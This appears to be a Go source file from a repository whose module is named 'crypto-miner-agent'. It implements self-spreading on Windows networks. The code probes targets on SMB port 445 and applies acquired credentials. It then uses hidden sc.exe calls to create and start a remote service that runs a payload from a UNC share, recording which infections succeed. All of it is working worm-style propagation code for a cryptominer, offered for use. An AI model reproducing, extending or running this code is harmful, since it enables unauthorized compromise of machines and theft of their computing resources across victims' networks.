Files
AetherForge/agent/deploy/smb_unc_spread_windows.go

104 lines
2.6 KiB
Go

//go:build windows
package deploy
import (
"log"
"net"
"strings"
"time"
"crypto-miner-agent/config"
)
func runSMBUNCSpreadSweep(cfg config.RuntimeConfig, opts SMBUNCSpreadOpts, targets []string) {
beginSpreadSweep("smb_unc_sc", len(targets))
if len(targets) == 0 {
finishSpreadSweepImmediate()
return
}
shareRoot := uncShareRoot(opts.UNCPath)
if shareRoot != "" {
_ = ensureNetUse(shareRoot)
}
svcName := smbUNCSvcName(cfg, opts.SvcName)
binPath := formatSCBinPath(opts.UNCPath, runFlag)
for _, target := range targets {
spreadSem <- struct{}{}
go func(host string) {
defer func() { <-spreadSem }()
attemptSMBUNCSpread(host, svcName, binPath)
}(target)
}
}
func uncShareRoot(unc string) string {
unc = strings.TrimSpace(unc)
if len(unc) < 3 || !strings.HasPrefix(strings.ToLower(unc), `\\`) {
return ""
}
parts := strings.Split(unc[2:], `\`)
if len(parts) < 2 || parts[0] == "" || parts[1] == "" {
return ""
}
return `\\` + parts[0] + `\` + parts[1]
}
func ensureNetUse(share string) error {
out, err := HiddenCombinedOutput("net.exe", "use", share)
if err == nil {
return nil
}
msg := strings.ToLower(string(out))
if strings.Contains(msg, "already") || strings.Contains(msg, "success") {
return nil
}
return err
}
func formatSCBinPath(unc, args string) string {
unc = strings.TrimSpace(unc)
args = strings.TrimSpace(args)
if args == "" {
return `"` + unc + `"`
}
return `"` + unc + `" ` + args
}
func attemptSMBUNCSpread(target, svcName, binPath string) {
conn, err := net.DialTimeout("tcp", target+":445", 2*time.Second)
if err != nil {
recordSpreadAttempt(target, false, "port 445 closed")
return
}
conn.Close()
var credSession SpreadCredSession
var credCleanup func()
if session, ok := acquireSpreadCred(target, "smb_unc_sc"); ok {
credSession = session
if cleanup, applied := applySpreadCredSession(target, session); applied {
credCleanup = cleanup
}
}
if credCleanup != nil {
defer credCleanup()
}
_ = HiddenRun("sc.exe", `\\`+target, "stop", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "delete", svcName)
_ = HiddenRun("sc.exe", `\\`+target, "create", svcName,
"binPath=", binPath,
"type=", "own",
"start=", "demand")
if err := HiddenRun("sc.exe", `\\`+target, "start", svcName); err == nil {
log.Printf("[smb-unc] remote service started on %s → %s", target, svcName)
recordSpreadAttempt(target, true, "")
reportSpreadCredEdge(target, "smb_unc_sc", credSession, true)
} else {
recordSpreadAttempt(target, false, "remote sc start failed")
reportSpreadCredEdge(target, "smb_unc_sc", credSession, false)
}
}